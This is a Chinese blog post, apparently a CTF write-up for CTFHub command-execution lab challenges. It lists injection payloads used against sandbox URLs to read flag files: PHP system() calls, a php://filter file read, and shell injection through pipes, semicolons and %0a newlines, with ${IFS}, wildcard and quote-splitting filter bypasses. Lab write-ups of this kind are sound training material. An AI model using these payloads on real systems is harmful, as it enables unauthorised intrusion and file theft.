随笔 - 3  文章 - 0  评论 - 0  阅读 - 1236

命令执行漏洞

·题目http://challenge-0378149a0f46d029.sandbox.ctfhub.com:10800/

 

get方式传值,url后加?cmd=system(ls);                     (不要漏了“;”)

 

看根目录下   ?cmd=system('ls /');

 

?cmd=system('tac /flag_2004');

 

 

·题目http://challenge-6fb8e42b96a63453.sandbox.ctfhub.com:10800/

?file=php://filter/convert.base64-encode/resource=/flag

 

解码

 

 

 ·题目http://challenge-6660caa40be82b64.sandbox.ctfhub.com:10800/

 

输入 127.0.0.1 | ls

  

 

输入127.0.0.1 | cat 202181019121257.php                    查看页面源码

                          

 

 ·题目http://challenge-c96200db3f972f76.sandbox.ctfhub.com:10800/

 

127.0.0.1 | ls

 

127.0.0.1 | tail flag_6314271833697.php                         查看源码

                                           

 

 

 ·题目http://challenge-ff0e99647ad306e6.sandbox.ctfhub.com:10800/

 

127.0.0.1|ls(“|”前后没有空格)

 

 127.0.0.1|cat<flag_16032307622987.php                           查看源码

                                                                

 

·题目http://challenge-05e78f6ba53cf5e7.sandbox.ctfhub.com:10800/

127.0.0.1 | ls                                           127.0.0.1;cd flag_is_here;ls                              127.0.0.1;cd flag_is_here;flag_143711617532606.php                    查看源码

                                                                   

 

 ·题目http://challenge-1ee9812e9a3f3a43.sandbox.ctfhub.com:10800/

 

 

127.0.0.1 ;ls                                                     127.0.0.1 ; cat flag_7892805924148.php                               查看源码

                       

 

·题目http://challenge-5ab3b10220e4fbd2.sandbox.ctfhub.com:10800/

 

地址栏输入?ip=127.0.0.1%0als(需要在地址栏操作,在页面输入做不出来)            ?ip=127.0.0.1%0Als${IFS}fla?_is_here

                                    

 

?ip=127.0.0.1%0Acd${IFS}fla?_is_here%0aca''t${IFS}fla?_24430227214682.php        查看源码

                                                               

posted on   blue_blue_blue_blue  阅读(78)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】
< 2025年3月 >
23 24 25 26 27 28 1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31 1 2 3 4 5

点击右上角即可分享
微信分享提示